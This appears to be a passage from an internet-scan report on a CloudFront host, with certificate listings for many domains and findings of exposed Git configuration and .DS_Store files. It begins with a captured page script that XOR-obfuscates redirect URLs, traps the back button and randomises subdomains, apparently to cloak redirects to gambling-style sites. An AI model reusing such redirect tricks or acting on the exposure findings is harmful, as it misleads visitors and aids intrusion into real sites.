for (var i = 0; i < urls.length; i++) {
var url = urls[i];
var encryptedUrl = xorEncrypt(url, key);
if (callback) {
callback(encryptedUrl)
}
else {
window.location.href=encryptedUrl;
}
}
},
error: function (jqXHR, textStatus, errorThrown) {
console.log('Error: ' + textStatus + ' ' + errorThrown);
}
});
}
</script>
</head>

<body>
    <div id="js-alert-box" class="alert-box">
        <svg class="alert-circle" width="234" height="234">
            <circle id="js-fst-circle" cx="117" cy="117" r="108" fill="#FFF" stroke="#ff5656" stroke-width="17">
            </circle>
            <circle id="js-sec-circle" class="alert-sec-circle" cx="117" cy="117" r="108" fill="transparent"
                stroke="#F4F1F1" stroke-width="18" transform="rotate(-90 117 117)"></circle>
            <text class="alert-sec-unit" x="100" y="172" fill="#BDBDBD"></text>
        </svg>
        <div id="js-sec-text" class="alert-sec-text" style="left: 170px"></div>
        <div class="alert-body">
            <div id="js-alert-head" class="alert-head"></div>
            <div class="alert-concent">
                <p id="pcon" style="color: #00adff"></p>
            </div>
            <a id="js-alert-btn" class="alert-btn" target="_parent" onClick="goLink()">点击前往</a>
        </div>
        <div class="alert-footer clearfix"></div>
        <div id="webstat" style="display: none;"></div>

        <script>
            window.history.pushState(null, null, document.URL); window.addEventListener('popstate', function (e) { window.history.go(1) })
        </script>
        <script src="./js/jquery.min.js"></script>
<script>

            var domainMap = { cb: ['49123.link', '49123.link', '49123.link']}
      function generateRandomSubdomain(keyOrDomain) {
        var a = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
        var b,
          c = '',
          d
        if (keyOrDomain.indexOf('.') !== -1) {
          b = keyOrDomain
        } else if (domainMap[keyOrDomain]) {
          d = domainMap[keyOrDomain]
          b = d[Math.floor(Math.random() * d.length)]
        } else {
          throw new Error(
            "Invalid key or domain: '" + keyOrDomain + "'. Provide a valid domain or key."
          )
        }
        for (var i = 0; i < 32; i++) {
          c += a.charAt(Math.floor(Math.random() * a.length))
        }

Found 2025-12-21 by HttpPlugin

Create report

Open service 18.239.83.47:80 · 467444.com

2025-12-21 18:00

HTTP/1.1 301 Moved Permanently
Server: CloudFront
Date: Sun, 21 Dec 2025 18:00:39 GMT
Content-Type: text/html
Content-Length: 167
Connection: close
Location: https://467444.com/
X-Cache: Redirect from cloudfront
Via: 1.1 ef04b5bd9d63162000acde84eaab4f9a.cloudfront.net (CloudFront)
X-Amz-Cf-Pop: AMS58-P5
X-Amz-Cf-Id: sMOz7kjZRLbQ0Iav3En0QbFC4W6aHWf0MiHlKKOJmc4XMp-l0Nf3sg==

Page title: 301 Moved Permanently

<html>
<head><title>301 Moved Permanently</title></head>
<body>
<center><h1>301 Moved Permanently</h1></center>
<hr><center>CloudFront</center>
</body>
</html>

Found 2025-12-21 by HttpPlugin

Create report

*.dhjnai69yvnf6.amplifyapp.comdhjnai69yvnf6.amplifyapp.com

Fingerprint:

524b829cc4c3d95ce9c0a85516a592463bfde2a68e51d317e535c14100b7dbd3

CN:

*.dhjnai69yvnf6.amplifyapp.com

Key:

RSA-2048

Issuer:

Amazon RSA 2048 M03

Not before:

2025-07-25 00:00

Not after:

2026-08-22 23:59

barbaraweldelecounseling.comwww.barbaraweldelecounseling.com

Fingerprint:

f32b848c9ceda614ba3282c8b7e4e4784987b2901ccb7253334dd80758668014

CN:

barbaraweldelecounseling.com

Key:

RSA-2048

Issuer:

Amazon RSA 2048 M04

Not before:

2025-11-05 00:00

Not after:

2026-12-04 23:59

betfred.co.za*.betfred.co.za

Fingerprint:

4cc60506666aa9aa63cc5474ebbf3ff5816d881eb0756eb10aafe77067e4e96a

CN:

betfred.co.za

Key:

RSA-2048

Issuer:

Amazon RSA 2048 M02

Not before:

2025-03-09 00:00

Not after:

2026-04-07 23:59

katcommunications.netwww.kat.marketingkatcommunications.comkat.marketingwww.katproductions.comwww.katcommunications.comwww.katandcompany.comkatproductions.comwww.katcommunications.netkatandcompany.com

Fingerprint:

5e00144e1a3e0af0a8ed81db973fa998704490395bff535f3bdc7e9df9c2db10

CN:

katandcompany.com

Key:

RSA-2048

Issuer:

Amazon RSA 2048 M04

Not before:

2025-08-11 00:00

Not after:

2026-09-09 23:59

*.astra.exchangeastra.exchange

Fingerprint:

c8afff1ff8b6368691c5d51e5e8816c78ca43811e09914c894f636d78185dbc4

CN:

*.astra.exchange

Key:

RSA-2048

Issuer:

Amazon RSA 2048 M04

Not before:

2025-06-20 00:00

Not after:

2026-07-19 23:59

emmanuelidi.commedia.emmanuelidi.comreports.emmanuelidi.comfiles.emmanuelidi.comguides.emmanuelidi.comassets.emmanuelidi.comwww2.emmanuelidi.comwww.emmanuelidi.com

Fingerprint:

ce1b395363177592af00de81a73248241d660eacfaee32577d4565da909d17f4

CN:

emmanuelidi.com

Key:

RSA-2048

Issuer:

Amazon RSA 2048 M04

Not before:

2025-07-27 00:00

Not after:

2026-08-24 23:59

673345.com.118548.com943678.com.725234.com.837456.com.943678.com.879234.com.2424567.com.948456.com945456.com948456.com118548.com.945456.com.9393123.com690345.com879234.com.690345.com725234.com837456.com467444.com.673345.com.467444.com897456.com.925345.com927234.com.655234.com.626345.com.795234.com795234.com.675234.com655234.com.954345.com.927234.com.866789.com866789.com879345.com.978234.com.949345.com954345.com.58158.com492123.com.895345.com.492123.com2130123.com895345.com949345.com.897456.com925345.com626345.com58158.com.807234.com807234.com975456.com.694456.com.857345.com.865456.com.725345.com694456.com978234.com.879345.com675234.com725345.com.49069.com.975456.com857345.com2424567.com960234.com.2130123.com787234.com546678.com225789.com.813234.com.960234.comhz949.com.225789.com665234.com.665234.com815234.com.493123.com49069.com865456.com.948345.com.894456.com948345.com.hz949.com.815234.com.546678.com493123.com813234.com.787234.com894456.com.767345.com924345.com767345.com.924345.com9393123.com

Fingerprint:

7139a64fa69dc0631e1d7eaa47f4e6fd5566ae44fdc5482a34968b6974069266

CN:

673345.com

Key:

RSA-2048

Issuer:

Amazon RSA 2048 M02

Not before:

2025-04-07 00:00

Not after:

2026-05-06 23:59

Domain summary

www.christopheek.dev 2 t.qbj9u.cc 1 qhwcsf4hhsjj.xyz 1 w29p3l7os.xyz 1 mscs5ffty6cr.xyz 1 katcommunications.net 1 rokitpioneer.com 0 voguepatterns.tw 0 cm.s.weekend4two.com 0 astra.exchange 1 emmanuelidi.com 0 writepaw.com 0 prod-us.bart-portal.fuse.amazon.dev 0 467444.com 1 betfred.co.za 0 trucktrader.com 0 olysim.com 0 barbaraweldelecounseling.com 0 dhjnai69yvnf6.amplifyapp.com 0

19 recorded

Host 18.239.83.47

United States

Software information

MacOS file listing through .DS_Store file

Git configuration and history exposed

Git configuration and history exposed

Git configuration and history exposed

Git configuration and history exposed

*.dhjnai69yvnf6.amplifyapp.comdhjnai69yvnf6.amplifyapp.com

barbaraweldelecounseling.comwww.barbaraweldelecounseling.com

betfred.co.za*.betfred.co.za

katcommunications.netwww.kat.marketingkatcommunications.comkat.marketingwww.katproductions.comwww.katcommunications.comwww.katandcompany.comkatproductions.comwww.katcommunications.netkatandcompany.com

*.astra.exchangeastra.exchange

emmanuelidi.commedia.emmanuelidi.comreports.emmanuelidi.comfiles.emmanuelidi.comguides.emmanuelidi.comassets.emmanuelidi.comwww2.emmanuelidi.comwww.emmanuelidi.com

Domain summary